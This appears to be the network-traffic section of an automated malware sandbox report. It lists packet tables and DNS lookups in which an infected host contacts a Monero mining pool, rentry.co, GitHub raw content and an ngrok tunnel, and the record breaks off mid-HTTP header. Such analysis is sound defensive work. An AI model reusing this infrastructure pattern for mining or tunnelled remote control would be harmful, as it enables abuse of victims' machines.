Aug 5, 2024 11:58:35.363281965 CEST	443	49748	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:35.363782883 CEST	49749	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:35.363827944 CEST	443	49749	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:35.363893986 CEST	49749	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:35.364260912 CEST	49749	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:35.364278078 CEST	443	49749	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:35.849396944 CEST	443	49749	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:35.849929094 CEST	49749	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:35.849956036 CEST	443	49749	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:35.853343010 CEST	443	49749	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:35.853426933 CEST	49749	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:35.855354071 CEST	49749	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:35.855447054 CEST	443	49749	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:35.855547905 CEST	49749	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:35.855556011 CEST	443	49749	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:36.058774948 CEST	49749	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:36.289581060 CEST	443	49749	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:36.289710999 CEST	443	49749	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:36.289800882 CEST	49749	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:36.289817095 CEST	443	49749	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:36.289844990 CEST	443	49749	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:36.289891958 CEST	49749	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:36.289926052 CEST	443	49749	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:36.290131092 CEST	49749	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:36.290143013 CEST	443	49749	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:36.290185928 CEST	443	49749	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:40.379499912 CEST	49750	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:58:40.379590034 CEST	443	49750	185.199.110.133	192.168.2.4
Aug 5, 2024 11:58:40.379695892 CEST	49750	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:58:40.380098104 CEST	49750	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:58:40.380131960 CEST	443	49750	185.199.110.133	192.168.2.4
Aug 5, 2024 11:58:40.842158079 CEST	443	49750	185.199.110.133	192.168.2.4
Aug 5, 2024 11:58:40.842629910 CEST	49750	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:58:40.842685938 CEST	443	49750	185.199.110.133	192.168.2.4
Aug 5, 2024 11:58:40.845983028 CEST	443	49750	185.199.110.133	192.168.2.4
Aug 5, 2024 11:58:40.846075058 CEST	49750	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:58:40.848299026 CEST	49750	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:58:40.848526001 CEST	443	49750	185.199.110.133	192.168.2.4
Aug 5, 2024 11:58:40.848598003 CEST	49750	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:58:40.848615885 CEST	443	49750	185.199.110.133	192.168.2.4
Aug 5, 2024 11:58:40.998876095 CEST	443	49750	185.199.110.133	192.168.2.4
Aug 5, 2024 11:58:40.999017954 CEST	49750	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:58:41.008443117 CEST	49750	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:58:41.008477926 CEST	443	49750	185.199.110.133	192.168.2.4
Aug 5, 2024 11:58:42.076788902 CEST	49751	17309	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:42.081865072 CEST	17309	49751	3.6.115.64	192.168.2.4
Aug 5, 2024 11:58:42.083683014 CEST	49751	17309	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:42.083900928 CEST	49751	17309	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:42.088735104 CEST	17309	49751	3.6.115.64	192.168.2.4
Aug 5, 2024 11:58:44.092355013 CEST	17309	49751	3.6.115.64	192.168.2.4
Aug 5, 2024 11:58:44.092415094 CEST	49751	17309	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:44.092464924 CEST	49751	17309	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:44.097336054 CEST	17309	49751	3.6.115.64	192.168.2.4
Aug 5, 2024 11:58:48.601413965 CEST	49752	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:48.601464033 CEST	443	49752	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:48.601560116 CEST	49752	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:48.601998091 CEST	49752	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:48.602016926 CEST	443	49752	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:49.064434052 CEST	443	49752	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:49.064961910 CEST	49752	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:49.064976931 CEST	443	49752	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:49.068661928 CEST	443	49752	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:49.068748951 CEST	49752	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:49.071455002 CEST	49752	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:49.071707964 CEST	443	49752	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:49.071795940 CEST	49752	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:49.071805000 CEST	443	49752	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:49.168169022 CEST	49752	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:49.341418028 CEST	443	49752	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:49.341602087 CEST	443	49752	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:49.341655016 CEST	49752	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:49.348371029 CEST	49752	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:49.348395109 CEST	443	49752	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:50.590046883 CEST	49738	9200	192.168.2.4	34.149.22.228
Aug 5, 2024 11:58:50.594954014 CEST	9200	49738	34.149.22.228	192.168.2.4
Aug 5, 2024 11:58:51.218202114 CEST	49753	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:51.223212004 CEST	11741	49753	3.6.115.64	192.168.2.4
Aug 5, 2024 11:58:51.223289967 CEST	49753	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:51.223484993 CEST	49753	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:51.228423119 CEST	11741	49753	3.6.115.64	192.168.2.4
Aug 5, 2024 11:58:53.194411993 CEST	11741	49753	3.6.115.64	192.168.2.4
Aug 5, 2024 11:58:53.194484949 CEST	49753	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:53.194539070 CEST	49753	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:53.196630955 CEST	49753	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:53.199779034 CEST	11741	49753	3.6.115.64	192.168.2.4
Aug 5, 2024 11:58:53.201507092 CEST	11741	49753	3.6.115.64	192.168.2.4
Aug 5, 2024 11:58:55.912348032 CEST	49754	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:55.912408113 CEST	443	49754	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:55.912476063 CEST	49754	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:55.912882090 CEST	49754	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:55.912898064 CEST	443	49754	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:56.456331968 CEST	443	49754	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:56.458539009 CEST	49754	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:56.458563089 CEST	443	49754	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:56.462150097 CEST	443	49754	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:56.462246895 CEST	49754	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:56.464256048 CEST	49754	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:56.464339972 CEST	443	49754	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:56.464448929 CEST	49754	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:56.464453936 CEST	443	49754	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:56.590086937 CEST	49754	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:56.924875021 CEST	443	49754	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:56.925039053 CEST	443	49754	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:56.925131083 CEST	49754	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:56.925767899 CEST	49754	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:58:56.925782919 CEST	443	49754	104.26.3.16	192.168.2.4
Aug 5, 2024 11:58:58.079787970 CEST	49755	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:58.084774017 CEST	11741	49755	3.6.115.64	192.168.2.4
Aug 5, 2024 11:58:58.084866047 CEST	49755	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:58.085052013 CEST	49755	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:58:58.089839935 CEST	11741	49755	3.6.115.64	192.168.2.4
Aug 5, 2024 11:59:00.076275110 CEST	11741	49755	3.6.115.64	192.168.2.4
Aug 5, 2024 11:59:00.076491117 CEST	49755	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:59:00.076491117 CEST	49755	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:59:00.078912973 CEST	49755	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:59:00.081764936 CEST	11741	49755	3.6.115.64	192.168.2.4
Aug 5, 2024 11:59:00.083904982 CEST	11741	49755	3.6.115.64	192.168.2.4
Aug 5, 2024 11:59:03.536600113 CEST	49756	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:03.536658049 CEST	443	49756	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:03.536745071 CEST	49756	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:03.537159920 CEST	49756	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:03.537178993 CEST	443	49756	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:04.030566931 CEST	443	49756	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:04.030982971 CEST	49756	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:04.031006098 CEST	443	49756	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:04.034357071 CEST	443	49756	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:04.034451008 CEST	49756	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:04.036434889 CEST	49756	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:04.036530018 CEST	443	49756	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:04.036637068 CEST	49756	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:04.036643982 CEST	443	49756	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:04.183796883 CEST	49756	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:04.303138971 CEST	443	49756	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:04.303301096 CEST	443	49756	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:04.303373098 CEST	49756	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:04.315824986 CEST	49756	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:04.315848112 CEST	443	49756	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:06.360054970 CEST	49757	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:59:06.365075111 CEST	11741	49757	3.6.115.64	192.168.2.4
Aug 5, 2024 11:59:06.365180969 CEST	49757	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:59:06.365432024 CEST	49757	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:59:06.370215893 CEST	11741	49757	3.6.115.64	192.168.2.4
Aug 5, 2024 11:59:08.377367973 CEST	11741	49757	3.6.115.64	192.168.2.4
Aug 5, 2024 11:59:08.377480030 CEST	49757	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:59:08.383039951 CEST	49757	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:59:08.388093948 CEST	11741	49757	3.6.115.64	192.168.2.4
Aug 5, 2024 11:59:12.155913115 CEST	49758	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:12.155956984 CEST	443	49758	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:12.156193972 CEST	49758	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:12.156533003 CEST	49758	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:12.156553984 CEST	443	49758	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:12.613502979 CEST	443	49758	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:12.613960028 CEST	49758	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:12.613979101 CEST	443	49758	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:12.615510941 CEST	443	49758	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:12.615581989 CEST	49758	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:12.617676020 CEST	49758	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:12.617794037 CEST	443	49758	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:12.617857933 CEST	49758	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:12.617865086 CEST	443	49758	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:12.671915054 CEST	49758	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:13.049335003 CEST	443	49758	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:13.049403906 CEST	443	49758	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:13.049443007 CEST	443	49758	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:13.049484968 CEST	443	49758	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:13.049566031 CEST	49758	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:13.049566031 CEST	49758	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:13.049595118 CEST	443	49758	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:13.049612999 CEST	443	49758	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:13.049660921 CEST	49758	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:13.049902916 CEST	49758	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:13.049923897 CEST	443	49758	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:13.050417900 CEST	49759	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:13.050477028 CEST	443	49759	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:13.050543070 CEST	49759	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:13.050944090 CEST	49759	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:13.050962925 CEST	443	49759	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:13.532766104 CEST	443	49759	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:13.533189058 CEST	49759	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:13.533240080 CEST	443	49759	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:13.534252882 CEST	443	49759	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:13.534336090 CEST	49759	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:13.536180973 CEST	49759	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:13.536257982 CEST	443	49759	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:13.536376953 CEST	49759	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:13.536391020 CEST	443	49759	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:13.683836937 CEST	49759	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:13.832077026 CEST	443	49759	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:13.832118988 CEST	443	49759	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:13.832144022 CEST	443	49759	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:13.832170963 CEST	443	49759	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:13.832197905 CEST	49759	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:13.832242012 CEST	443	49759	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:13.832257032 CEST	49759	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:13.832309961 CEST	443	49759	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:13.832385063 CEST	49759	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:13.832787991 CEST	49759	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:13.832803011 CEST	443	49759	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:18.956471920 CEST	49760	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:59:18.956521988 CEST	443	49760	185.199.110.133	192.168.2.4
Aug 5, 2024 11:59:18.956588984 CEST	49760	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:59:18.956974983 CEST	49760	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:59:18.956988096 CEST	443	49760	185.199.110.133	192.168.2.4
Aug 5, 2024 11:59:19.439023972 CEST	443	49760	185.199.110.133	192.168.2.4
Aug 5, 2024 11:59:19.442167997 CEST	49760	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:59:19.442250013 CEST	443	49760	185.199.110.133	192.168.2.4
Aug 5, 2024 11:59:19.443773031 CEST	443	49760	185.199.110.133	192.168.2.4
Aug 5, 2024 11:59:19.443854094 CEST	49760	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:59:19.446145058 CEST	49760	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:59:19.446254015 CEST	443	49760	185.199.110.133	192.168.2.4
Aug 5, 2024 11:59:19.446347952 CEST	49760	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:59:19.446366072 CEST	443	49760	185.199.110.133	192.168.2.4
Aug 5, 2024 11:59:19.558820009 CEST	49760	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:59:19.597182989 CEST	443	49760	185.199.110.133	192.168.2.4
Aug 5, 2024 11:59:19.597335100 CEST	443	49760	185.199.110.133	192.168.2.4
Aug 5, 2024 11:59:19.597389936 CEST	49760	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:59:19.603992939 CEST	49760	443	192.168.2.4	185.199.110.133
Aug 5, 2024 11:59:19.604023933 CEST	443	49760	185.199.110.133	192.168.2.4
Aug 5, 2024 11:59:20.655446053 CEST	49761	17309	192.168.2.4	3.6.115.64
Aug 5, 2024 11:59:20.660707951 CEST	17309	49761	3.6.115.64	192.168.2.4
Aug 5, 2024 11:59:20.660784960 CEST	49761	17309	192.168.2.4	3.6.115.64
Aug 5, 2024 11:59:20.660965919 CEST	49761	17309	192.168.2.4	3.6.115.64
Aug 5, 2024 11:59:20.665903091 CEST	17309	49761	3.6.115.64	192.168.2.4
Aug 5, 2024 11:59:22.635376930 CEST	17309	49761	3.6.115.64	192.168.2.4
Aug 5, 2024 11:59:22.635447025 CEST	49761	17309	192.168.2.4	3.6.115.64
Aug 5, 2024 11:59:22.635535002 CEST	49761	17309	192.168.2.4	3.6.115.64
Aug 5, 2024 11:59:22.638928890 CEST	49761	17309	192.168.2.4	3.6.115.64
Aug 5, 2024 11:59:22.640286922 CEST	17309	49761	3.6.115.64	192.168.2.4
Aug 5, 2024 11:59:22.643728971 CEST	17309	49761	3.6.115.64	192.168.2.4
Aug 5, 2024 11:59:25.791697979 CEST	49762	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:25.791747093 CEST	443	49762	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:25.791843891 CEST	49762	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:25.792253971 CEST	49762	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:25.792267084 CEST	443	49762	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:26.485114098 CEST	443	49762	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:26.485552073 CEST	49762	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:26.485569954 CEST	443	49762	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:26.486713886 CEST	443	49762	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:26.486792088 CEST	49762	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:26.488924980 CEST	49762	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:26.489003897 CEST	443	49762	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:26.489090919 CEST	49762	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:26.489101887 CEST	443	49762	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:26.668209076 CEST	49762	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:26.744070053 CEST	443	49762	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:26.744168997 CEST	443	49762	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:26.744226933 CEST	49762	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:26.756448984 CEST	49762	443	192.168.2.4	104.26.3.16
Aug 5, 2024 11:59:26.756491899 CEST	443	49762	104.26.3.16	192.168.2.4
Aug 5, 2024 11:59:27.969595909 CEST	49763	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:59:27.974529982 CEST	11741	49763	3.6.115.64	192.168.2.4
Aug 5, 2024 11:59:27.974595070 CEST	49763	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:59:27.974803925 CEST	49763	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:59:27.980809927 CEST	11741	49763	3.6.115.64	192.168.2.4
Aug 5, 2024 11:59:29.967659950 CEST	11741	49763	3.6.115.64	192.168.2.4
Aug 5, 2024 11:59:29.967750072 CEST	49763	11741	192.168.2.4	3.6.115.64
Aug 5, 2024 11:59:46.986103058 CEST	9200	49738	34.149.22.228	192.168.2.4
Aug 5, 2024 11:59:47.027587891 CEST	49738	9200	192.168.2.4	34.149.22.228

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 5, 2024 11:57:26.780042887 CEST	62697	53	192.168.2.4	1.1.1.1
Aug 5, 2024 11:57:26.787893057 CEST	53	62697	1.1.1.1	192.168.2.4
Aug 5, 2024 11:57:27.479167938 CEST	58294	53	192.168.2.4	1.1.1.1
Aug 5, 2024 11:57:27.486248016 CEST	53	58294	1.1.1.1	192.168.2.4
Aug 5, 2024 11:57:49.979768991 CEST	61381	53	192.168.2.4	1.1.1.1
Aug 5, 2024 11:57:49.990093946 CEST	53	61381	1.1.1.1	192.168.2.4
Aug 5, 2024 11:57:52.734699011 CEST	62147	53	192.168.2.4	1.1.1.1
Aug 5, 2024 11:57:52.946862936 CEST	53	62147	1.1.1.1	192.168.2.4
Aug 5, 2024 11:58:15.494272947 CEST	57838	53	192.168.2.4	1.1.1.1
Aug 5, 2024 11:58:15.504991055 CEST	53	57838	1.1.1.1	192.168.2.4
Aug 5, 2024 11:58:34.641505003 CEST	59854	53	192.168.2.4	1.1.1.1
Aug 5, 2024 11:58:34.649477005 CEST	53	59854	1.1.1.1	192.168.2.4
Aug 5, 2024 11:59:20.643898010 CEST	62798	53	192.168.2.4	1.1.1.1
Aug 5, 2024 11:59:20.654925108 CEST	53	62798	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 5, 2024 11:57:26.780042887 CEST	192.168.2.4	1.1.1.1	0xa943	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:57:27.479167938 CEST	192.168.2.4	1.1.1.1	0x750a	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:57:49.979768991 CEST	192.168.2.4	1.1.1.1	0xe7b4	Standard query (0)	randomxmonero.auto.nicehash.com	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:57:52.734699011 CEST	192.168.2.4	1.1.1.1	0x33b8	Standard query (0)	rentry.co	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:58:15.494272947 CEST	192.168.2.4	1.1.1.1	0x11a8	Standard query (0)	0.tcp.in.ngrok.io	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:58:34.641505003 CEST	192.168.2.4	1.1.1.1	0x7605	Standard query (0)	rentry.co	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:20.643898010 CEST	192.168.2.4	1.1.1.1	0xd5df	Standard query (0)	0.tcp.in.ngrok.io	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Aug 5, 2024 11:57:26.787893057 CEST	1.1.1.1	192.168.2.4	0xa943	No error (0)	www.google.com	142.250.186.36	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:57:27.486248016 CEST	1.1.1.1	192.168.2.4	0x750a	No error (0)	raw.githubusercontent.com	185.199.110.133	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:57:27.486248016 CEST	1.1.1.1	192.168.2.4	0x750a	No error (0)	raw.githubusercontent.com	185.199.109.133	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:57:27.486248016 CEST	1.1.1.1	192.168.2.4	0x750a	No error (0)	raw.githubusercontent.com	185.199.108.133	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:57:27.486248016 CEST	1.1.1.1	192.168.2.4	0x750a	No error (0)	raw.githubusercontent.com	185.199.111.133	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:57:49.990093946 CEST	1.1.1.1	192.168.2.4	0xe7b4	No error (0)	randomxmonero.auto.nicehash.com	34.149.22.228	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:57:52.946862936 CEST	1.1.1.1	192.168.2.4	0x33b8	No error (0)	rentry.co	104.26.3.16	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:57:52.946862936 CEST	1.1.1.1	192.168.2.4	0x33b8	No error (0)	rentry.co	104.26.2.16	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:57:52.946862936 CEST	1.1.1.1	192.168.2.4	0x33b8	No error (0)	rentry.co	172.67.75.40	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:58:15.504991055 CEST	1.1.1.1	192.168.2.4	0x11a8	No error (0)	0.tcp.in.ngrok.io	3.6.115.64	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:58:34.649477005 CEST	1.1.1.1	192.168.2.4	0x7605	No error (0)	rentry.co	104.26.3.16	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:58:34.649477005 CEST	1.1.1.1	192.168.2.4	0x7605	No error (0)	rentry.co	172.67.75.40	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:58:34.649477005 CEST	1.1.1.1	192.168.2.4	0x7605	No error (0)	rentry.co	104.26.2.16	A (IP address)	IN (0x0001)	false
Aug 5, 2024 11:59:20.654925108 CEST	1.1.1.1	192.168.2.4	0xd5df	No error (0)	0.tcp.in.ngrok.io	3.6.115.64	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

raw.githubusercontent.com

rentry.co

www.google.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	142.250.186.36	80	7832	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 11:57:26.803554058 CEST	67	OUT	GET / HTTP/1.1 User-Agent: InternetCheck Host: www.google.com
Aug 5, 2024 11:57:27.473689079 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 05 Aug 2024 09:57:27 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=ISO-8859-1 Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-QTzAEYKY8wlUZjrdeceo5g' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hp P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: AEC=AVYB7coWU9bkPLj53wVs5Hex20mtXhIBuWctI6FQMeF4ni3BDbIJqHrwdg; expires=Sat, 01-Feb-2025 09:57:27 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=lax Set-Cookie: 